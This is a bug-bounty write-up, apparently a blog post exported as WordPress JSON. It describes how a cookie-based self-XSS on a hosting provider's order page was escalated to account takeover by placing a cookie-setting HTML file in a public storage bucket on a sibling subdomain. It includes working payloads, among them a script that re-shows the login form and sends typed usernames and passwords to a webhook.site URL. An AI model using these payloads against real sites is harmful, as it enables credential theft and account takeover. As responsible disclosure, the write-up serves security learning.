{"id":197,"date":"2022-09-06T01:06:45","date_gmt":"2022-09-05T23:06:45","guid":{"rendered":"https:\/\/bergee.it\/blog\/?p=197"},"modified":"2022-09-07T10:22:17","modified_gmt":"2022-09-07T08:22:17","slug":"turning-cookie-based-xss-into-account-takeover","status":"publish","type":"post","link":"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/","title":{"rendered":"Turning cookie based XSS into account takeover"},"content":{"rendered":"<h3>The cookie-based XSS<\/h3>\n<p>One evening I started hunting on the <a href=\"https:\/\/terrahost.no\/bug-bounty-program\" target=\"_blank\" rel=\"noopener\">Terrahost Bug Bounty program<\/a>. I was testing the terrahost.no main domain. There was a functionality where I could choose the service, then register an account and place an order. So I did that. I chose Virtual Hosting and put all the data &#8211; username, address, phone number, postal code, etc. Clicked &#8220;Register&#8221; And I saw all the data displayed on the screen. Immediately thought of XSS and started looking at the requests in Burp. But found nothing. Refreshed the page and still saw the data. Then I looked into the local storage, session storage, and cookies. And voila! The data were stored inside the cookies.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-221\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/cookies_redacted.png\" alt=\"\" width=\"1170\" height=\"284\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/cookies_redacted.png 1170w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/cookies_redacted-300x73.png 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/cookies_redacted-1024x249.png 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/cookies_redacted-768x186.png 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/cookies_redacted-850x206.png 850w\" sizes=\"auto, (max-width: 1170px) 100vw, 1170px\" \/><\/p>\n<p>I cleared all the cookies, used the developer console, and changed the value of the customer_name cookie value into the XSS payload:<\/p>\n<blockquote class=\"wrapped\"><p>&lt;img src=&#8221;x&#8221; onerror=alert(document.domain)&gt;<\/p><\/blockquote>\n<p>Refreshed the page and saw nothing :(. The registration process for placing the order consists of two-step. The first step is where the registration form is displayed and the second step is when the customer&#8217;s data are displayed. We need the second step to execute the payload. I figured out that these steps are controlled by a cookie named &#8220;step&#8221; so I needed to set this cookie also to see the beautiful alert box :). Ok so far so good. But this is self-XSS which means I cannot attack anybody with this. The company does not accept self-XSS issues.<\/p>\n<p><a href=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/cookie_based_xss_2.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-200 size-large\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/cookie_based_xss_2-1024x530.png\" alt=\"\" width=\"640\" height=\"331\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/cookie_based_xss_2-1024x530.png 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/cookie_based_xss_2-300x155.png 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/cookie_based_xss_2-768x398.png 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/cookie_based_xss_2-1536x795.png 1536w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/cookie_based_xss_2-850x440.png 850w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/cookie_based_xss_2.png 1903w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><\/p>\n<h6>Click the image to enlarge<\/h6>\n<h3>Turning self xss into remote xss<\/h3>\n<p>I googled a bit and found out that cookie-based xss can be exploited and turned into good xss. The steps:<\/p>\n<p>1. I must set the same name as our vulnerable cookie &#8220;customer_name&#8221; on some subdomain\u00a0 of\u00a0 terrahost.no, ie. sub.terrahost.no this way:<\/p>\n<blockquote class=\"wrapped\"><p>document.cookie=&#8217;customer_name=&lt;img src=x onerror=alert(document.domain)&gt;; domain=.terrahost.no&#8217;;<\/p><\/blockquote>\n<p>The dot at the beginning is important. This way despite the cookie being set by the subdomain, it is valid on the main terrahost.no domain.<\/p>\n<p>2. I must redirect the victim from the sub.terrahost.no to terrahost.no<\/p>\n<p>Ok, how can I execute these steps? I came up with\u00a0 two ways:<br \/>\n&#8211; sending cookie headers injected by CRLF vulnerabilities on the subdomain &#8211; haven&#8217;t tested this method yet<br \/>\n&#8211; using some other XSS on the subdomain to set the cookie with javascript code<\/p>\n<h3>The failures time<\/h3>\n<p>The first thing I did was subdomain enumeration of terrahost.no with the following tools: <a href=\"https:\/\/github.com\/projectdiscovery\/subfinder\" target=\"_blank\" rel=\"noopener\">subfinder<\/a>, <a href=\"https:\/\/github.com\/OWASP\/Amass\" target=\"_blank\" rel=\"noopener\">amass<\/a>, <a href=\"https:\/\/github.com\/Findomain\/Findomain\" target=\"_blank\" rel=\"noopener\">findomain<\/a> and <a href=\"https:\/\/github.com\/tomnomnom\/assetfinder\" target=\"_blank\" rel=\"noopener\">assetfinder<\/a>. Then tried to find a CRLF header injection with <a href=\"https:\/\/github.com\/dwisiswant0\/crlfuzz\" target=\"_blank\" rel=\"noopener\">CRLFFuzz<\/a>. But failed &#8211; none of the subdomains was vulnerable. Now it was time to look for XSS. I found some apps protected by login screens, and some 404 pages, I was looking for CVEs , fuzzing the 404\/403\/302 endpoints, and found some more apps but I could not find any XSS anywhere :(. After about a week I gave up and decided to report the vulnerability as it is &#8211; cookie-based self-XSS. As I expected the team said it&#8217;s self xss so there is no threat here.<\/p>\n<h3>VPS to the rescue&#8230; or not?<\/h3>\n<p>As this company offers VPSes, dedicated servers, etc., I thought what If I buy the cheapest VPS and then probably get the subdomain like myserver.terrahost.no, then set up the web server and put the payload there. So I did that and get the subdomain like&#8230; srvXXX.terrahost.com.<br \/>\nNoooo! I needed the subdomain of terrahost.no. Anyway, the srvXXX.terrahost.com was just the hostname not visible outside. I played a bit with the VPS and looked for some other services hoping to get some subdomain.terrahost.no and link it somehow with the VPS. But failed again.<br \/>\nI had a new shiny VPS with the static IP&#8230; Not what I expected.\u00a0 \ud83d\ude41 Another failure.<\/p>\n<h3>Terrahost&#8217;s object storage buckets<\/h3>\n<p>I gave up on this bug and started to hunt on the management panel at https:\/\/enigma.terrahost.com. What I suddenly noticed, one of Terrahost&#8217;s services is AWS S3-like object storage buckets. The bucket address is like&#8230; mybucket.s3.terrahost.no.\u00a0 I immediately created my bucket called berdzibucket. And now I had what I wanted &#8211; berdzibucket.s3.terrahost.no &#8211; the subdomain where I could put my files!!! The hard part here was to learn how to use the buckets. I spent some time trying to use AWS CLI tools. Finally contacted support and they told me I needed to use the <a href=\"https:\/\/github.com\/minio\/minio\" target=\"_blank\" rel=\"noopener\">MinIO<\/a> tool to operate the buckets. I set up the tool, created the HTML file which set both cookies (step and customer_id) and redirects the victim to the main domain, put this on the s3 bucket, and set the policy to the public:<\/p>\n<blockquote class=\"wrapped\"><p>$ minio cp poc_xss.html terra\/berdzibucket<br \/>\n$ minio policy set public terra\/berdzibucket\/poc_xss.html<\/p><\/blockquote>\n<p>The content of the files poc_xss.html was like this:<\/p>\n<blockquote class=\"wrapped\"><p>&lt;script type=&#8221;text\/javascript&#8221;&gt;<br \/>\ndocument.cookie=&#8217;customer_id=&lt;img src=x onerror=alert(document.domain)&gt;;domain=.terrahost.no&#8217;;<br \/>\ndocument.cookie=&#8217;step=2;domain=.terrahost.no&#8217;;<br \/>\nwindow.location.href=&#8221;https:\/\/terrahost.no\/bestilling?pid=3813&#8243;<br \/>\n&lt;\/script&gt;<\/p><\/blockquote>\n<p>Where https:\/\/terrahost.no\/bestilling?pid=3813 was the URL of the order page. So I had the URL like:<\/p>\n<blockquote class=\"wrapped\"><p>https:\/\/berdzibucket.s3.terrahost.no\/poc_xss.html<\/p><\/blockquote>\n<p>Clicking the URL redirected the victim to the main terrahost.no domain and the alert box popped up.<\/p>\n<p><a href=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/terra_poc_cookie_xss_short.gif\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-201 size-large\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/terra_poc_cookie_xss_short-1024x520.gif\" alt=\"\" width=\"640\" height=\"325\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/terra_poc_cookie_xss_short-1024x520.gif 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/terra_poc_cookie_xss_short-300x152.gif 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/terra_poc_cookie_xss_short-768x390.gif 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/terra_poc_cookie_xss_short-1536x779.gif 1536w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/terra_poc_cookie_xss_short-850x431.gif 850w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><\/p>\n<h6>Click the image to play movie<\/h6>\n<h3>The real impact<\/h3>\n<p>Let&#8217;s remember what&#8217;s the most valuable for the company in terms of bug hunting &#8211; the real impact of the bug. The alert box is just the POC. Now I decided to steal all other cookies which hold the customer&#8217;s data. I changed the payload to alert(document.cookie) instead, uploaded the file on the bucket, logged in as the victim, clicked the link, and&#8230; nothing happened. Why? WTF? I used the customer_id cookie to store my XSS payload. When the victim is logged in, all the cookies holding the customer&#8217;s data are already set by the terrahost.no domain. Setting same name cookies by berdzibucket.s3.terrahost.no on .terrahost.no domain will work, however, the cookies from the main domain are taken into consideration first &#8211; so the value of customer_id cookie set by registration process is displayed, not the one set by my file on s3 bucket. This way all other cookies vulnerable to XSS are already set and I can&#8217;t put my payload there. So I could not steal registered customers&#8217; data. \ud83d\ude41 Anyway, the bug was valid as was not self-xss anymore. I reported this to the company. They told me &#8211; this is a valid bug but not exploitable. No bounty here :(.<\/p>\n<h3>Trying harder<\/h3>\n<p>I almost gave up again. But the next day in the toilet \ud83d\ude42 I asked myself &#8211; what If I used the XSS payload to steal the victim&#8217;s credentials while logging in. The account registration while placing the order consists of two steps<\/p>\n<p>1. Step one &#8211; both the login and register forms are visible on the screen<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-222\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/step1.png\" alt=\"\" width=\"1168\" height=\"377\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/step1.png 1168w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/step1-300x97.png 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/step1-1024x331.png 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/step1-768x248.png 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/step1-850x274.png 850w\" sizes=\"auto, (max-width: 1168px) 100vw, 1168px\" \/><\/p>\n<p>2. Step two &#8211; the customer&#8217;s data are visible on the screen<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-223\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/step2_data_redacted.png\" alt=\"\" width=\"1174\" height=\"417\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/step2_data_redacted.png 1174w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/step2_data_redacted-300x107.png 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/step2_data_redacted-1024x364.png 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/step2_data_redacted-768x273.png 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/step2_data_redacted-850x302.png 850w\" sizes=\"auto, (max-width: 1174px) 100vw, 1174px\" \/><\/p>\n<p>We need step two to execute the payload, but the login form is visible only in step one. The step screen is controlled by the value of the cookie called step with values 1-4. We are interested in steps 1 and 2. Another obstacle to defeat. I looked at the DOM of the page and saw, that when step 2\u00a0 is set, the login form is just hidden by the CSS display property and the customer data div is shown.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-224\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/steps_code.png\" alt=\"\" width=\"431\" height=\"75\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/steps_code.png 431w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/steps_code-300x52.png 300w\" sizes=\"auto, (max-width: 431px) 100vw, 431px\" \/><\/p>\n<p>So I need to manipulate the DOM to show the login form again and hide the customer&#8217;s data to make it look like step 1. The XSS payload will do the following things:<\/p>\n<p>1. Show the login form again<br \/>\n2. Hide the customer data div<br \/>\n3. Set the onClick event on the &#8220;Login&#8221; button &#8211; when the victim clicks the button the credentials are sent to the attacker&#8217;s server<\/p>\n<p>So I created the following payload as the website uses jQuery:<\/p>\n<blockquote class=\"wrapped\"><p>&lt;img id=&#8217;imgx&#8217;&gt;&lt;script&gt;$(&#8220;.row_<wbr \/>information&#8221;).hide(); $(&#8220;.step1&#8221;).show(); $(&#8220;.login&#8221;).click(function(e){<wbr \/>un=$(&#8220;#username&#8221;).val(); pwd=$(&#8220;#password&#8221;).val();imgx.<wbr \/>src=&#8221;https:\/\/webhook.site\/<wbr \/>da65627b-61d4-446e-91fd-<wbr \/>ada548c7975x?data=&#8221;+un+&#8217;,&#8217;+<wbr \/>pwd});&lt;\/script&gt;<\/p><\/blockquote>\n<p>Update: Now I can see I could just hide the step 2 and show step 1 \ud83d\ude42<\/p>\n<p>I used <a href=\"https:\/\/webhook.site\" target=\"_blank\" rel=\"noopener\">https:\/\/webhook.site<\/a> to create a webhook accepting the requests simulating the attacker&#8217;s server. I tried to send data with the XHR request first but the CORS blocked it. To bypass that I modified the payload to send the data via the &lt;img src&gt; tag. It worked. The victim&#8217;s credentials were sent to the attacker. These were the same credentials the victim uses to log into the enigma management panel. I created the place_order.html file and uploaded it on my s3 terrahost bucket. The place_order.html looked like this:<\/p>\n<blockquote class=\"wrapped\"><p>&lt;script type=&#8221;text\/javascript&#8221;&gt;<br \/>\ndocument.cookie=&#8217;customer_id=%3Cimg%20id%3D%27imgx%27%3E%3Cscript%3E%24%28%22.row_information%22%29.hide%28%29%3B%20%24%28%22.step1%22%29.show%28%29%3B%20%24%28%22.login%22%29.click%28function%28e%29%7Bun%3D%24%28%22%23username%22%29.val%28%29%3B%20pwd%3D%24%28%22%23password%22%29.val%28%29%3Bimgx.src%3D%22https%3A%2F%2Fwebhook.site%2Fda65627b-61d4-446e-91fd-ada548c7975x%3Fdata%3D%22%2Bun%2B%27%2C%27%2Bpwd%7D%2%3B%3C%2Fscript%3E;domain=.terrahost.no&#8217;;document.cookie=&#8217;step=2;domain=.terrahost.no&#8217;;<br \/>\nwindow.location.href=&#8221;https:\/\/terrahost.no\/bestilling?pid=3813<br \/>\n&lt;\/script&gt;<\/p><\/blockquote>\n<p>So these are the final steps to take over the victim&#8217;s account:<br \/>\n1. The victim gets the URL https:\/\/attackerbucket.s3.terrahost.no\/place_order.html<br \/>\n2. The victim clicks the URL and is redirected to the login site &#8211; he\/she sees nothing suspicious here<br \/>\n3. The XSS payload is set up and as soon as the victim logs in, the script sends the credentials to the attacker&#8217;s server<br \/>\n4. The attacker takes over the victim&#8217;s account<\/p>\n<p><a href=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/terra_poc_xss_ato_short-1.gif\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-210 size-large\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/terra_poc_xss_ato_short-1-1024x545.gif\" alt=\"\" width=\"640\" height=\"341\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/terra_poc_xss_ato_short-1-1024x545.gif 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/terra_poc_xss_ato_short-1-300x160.gif 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/terra_poc_xss_ato_short-1-768x409.gif 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/terra_poc_xss_ato_short-1-1536x818.gif 1536w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/terra_poc_xss_ato_short-1-850x453.gif 850w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><\/p>\n<h6>Click the image to play movie<\/h6>\n<h3>Epilogue<\/h3>\n<p>I reported the exploitation scenario and was rewarded \u20ac500, as the impact was high. Be patient, don&#8217;t give up, and think out of the box. In this case, I used the company&#8217;s service to exploit the bug.<\/p>\n<p>Reward: \u20ac500<\/p>\n<p>Take care, see you next bug \ud83d\ude42<\/p>\n","protected":false},"excerpt":{"rendered":"<p>The cookie-based XSS One evening I started hunting on the Terrahost Bug Bounty program. I was testing the terrahost.no main domain. There was a functionality where I could choose the service, then register an account and place an order. So I did that. I chose Virtual Hosting and put all the data &#8211; username, address,&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,32,29],"tags":[18,5,6],"class_list":["post-197","post","type-post","status-publish","format-standard","hentry","category-bez-kategorii","category-bug-bounty","category-write-up","tag-account-takeover","tag-bug-bounty","tag-xss"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.2 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Turning cookie based XSS into account takeover - Bergee&#039;s Stories on Bug Hunting<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Turning cookie based XSS into account takeover - Bergee&#039;s Stories on Bug Hunting\" \/>\n<meta property=\"og:description\" content=\"The cookie-based XSS One evening I started hunting on the Terrahost Bug Bounty program. I was testing the terrahost.no main domain. There was a functionality where I could choose the service, then register an account and place an order. So I did that. I chose Virtual Hosting and put all the data &#8211; username, address,...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/\" \/>\n<meta property=\"og:site_name\" content=\"Bergee&#039;s Stories on Bug Hunting\" \/>\n<meta property=\"article:published_time\" content=\"2022-09-05T23:06:45+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-09-07T08:22:17+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/cookies_redacted.png\" \/>\n<meta name=\"author\" content=\"bergee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@https:\/\/twitter.com\/bergee\" \/>\n<meta name=\"twitter:site\" content=\"@bergee\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"bergee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/\"},\"author\":{\"name\":\"bergee\",\"@id\":\"https:\/\/bergee.it\/blog\/#\/schema\/person\/a37382384cc58e596119b1eec4869d73\"},\"headline\":\"Turning cookie based XSS into account takeover\",\"datePublished\":\"2022-09-05T23:06:45+00:00\",\"dateModified\":\"2022-09-07T08:22:17+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/\"},\"wordCount\":1730,\"publisher\":{\"@id\":\"https:\/\/bergee.it\/blog\/#\/schema\/person\/a37382384cc58e596119b1eec4869d73\"},\"image\":{\"@id\":\"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/cookies_redacted.png\",\"keywords\":[\"account takeover\",\"bug bounty\",\"xss\"],\"articleSection\":[\"Bez kategorii\",\"bug bounty\",\"write-up\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/\",\"url\":\"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/\",\"name\":\"Turning cookie based XSS into account takeover - Bergee&#039;s Stories on Bug Hunting\",\"isPartOf\":{\"@id\":\"https:\/\/bergee.it\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/cookies_redacted.png\",\"datePublished\":\"2022-09-05T23:06:45+00:00\",\"dateModified\":\"2022-09-07T08:22:17+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/#primaryimage\",\"url\":\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/cookies_redacted.png\",\"contentUrl\":\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/cookies_redacted.png\",\"width\":1170,\"height\":284},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/bergee.it\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Turning cookie based XSS into account takeover\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/bergee.it\/blog\/#website\",\"url\":\"https:\/\/bergee.it\/blog\/\",\"name\":\"Bergee&#039;s Stories on Bug Hunting\",\"description\":\"hacking, cyber security and programming\",\"publisher\":{\"@id\":\"https:\/\/bergee.it\/blog\/#\/schema\/person\/a37382384cc58e596119b1eec4869d73\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/bergee.it\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\/\/bergee.it\/blog\/#\/schema\/person\/a37382384cc58e596119b1eec4869d73\",\"name\":\"bergee\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/berdzi_drawing_150x150_x.png\",\"url\":\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/berdzi_drawing_150x150_x.png\",\"contentUrl\":\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/berdzi_drawing_150x150_x.png\",\"width\":129,\"height\":150,\"caption\":\"bergee\"},\"logo\":{\"@id\":\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/berdzi_drawing_150x150_x.png\"},\"sameAs\":[\"http:\/\/localhost\/wordpress\",\"https:\/\/www.linkedin.com\/in\/bartlomiej-bergier\",\"https:\/\/x.com\/https:\/\/twitter.com\/bergee\"],\"url\":\"https:\/\/bergee.it\/blog\/author\/bergee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Turning cookie based XSS into account takeover - Bergee&#039;s Stories on Bug Hunting","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/","og_locale":"en_US","og_type":"article","og_title":"Turning cookie based XSS into account takeover - Bergee&#039;s Stories on Bug Hunting","og_description":"The cookie-based XSS One evening I started hunting on the Terrahost Bug Bounty program. I was testing the terrahost.no main domain. There was a functionality where I could choose the service, then register an account and place an order. So I did that. I chose Virtual Hosting and put all the data &#8211; username, address,...","og_url":"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/","og_site_name":"Bergee&#039;s Stories on Bug Hunting","article_published_time":"2022-09-05T23:06:45+00:00","article_modified_time":"2022-09-07T08:22:17+00:00","og_image":[{"url":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/cookies_redacted.png","type":"","width":"","height":""}],"author":"bergee","twitter_card":"summary_large_image","twitter_creator":"@https:\/\/twitter.com\/bergee","twitter_site":"@bergee","twitter_misc":{"Written by":"bergee","Est. reading time":"8 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/#article","isPartOf":{"@id":"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/"},"author":{"name":"bergee","@id":"https:\/\/bergee.it\/blog\/#\/schema\/person\/a37382384cc58e596119b1eec4869d73"},"headline":"Turning cookie based XSS into account takeover","datePublished":"2022-09-05T23:06:45+00:00","dateModified":"2022-09-07T08:22:17+00:00","mainEntityOfPage":{"@id":"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/"},"wordCount":1730,"publisher":{"@id":"https:\/\/bergee.it\/blog\/#\/schema\/person\/a37382384cc58e596119b1eec4869d73"},"image":{"@id":"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/#primaryimage"},"thumbnailUrl":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/cookies_redacted.png","keywords":["account takeover","bug bounty","xss"],"articleSection":["Bez kategorii","bug bounty","write-up"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/","url":"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/","name":"Turning cookie based XSS into account takeover - Bergee&#039;s Stories on Bug Hunting","isPartOf":{"@id":"https:\/\/bergee.it\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/#primaryimage"},"image":{"@id":"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/#primaryimage"},"thumbnailUrl":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/cookies_redacted.png","datePublished":"2022-09-05T23:06:45+00:00","dateModified":"2022-09-07T08:22:17+00:00","breadcrumb":{"@id":"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/#primaryimage","url":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/cookies_redacted.png","contentUrl":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/09\/cookies_redacted.png","width":1170,"height":284},{"@type":"BreadcrumbList","@id":"https:\/\/bergee.it\/blog\/turning-cookie-based-xss-into-account-takeover\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/bergee.it\/blog\/"},{"@type":"ListItem","position":2,"name":"Turning cookie based XSS into account takeover"}]},{"@type":"WebSite","@id":"https:\/\/bergee.it\/blog\/#website","url":"https:\/\/bergee.it\/blog\/","name":"Bergee&#039;s Stories on Bug Hunting","description":"hacking, cyber security and 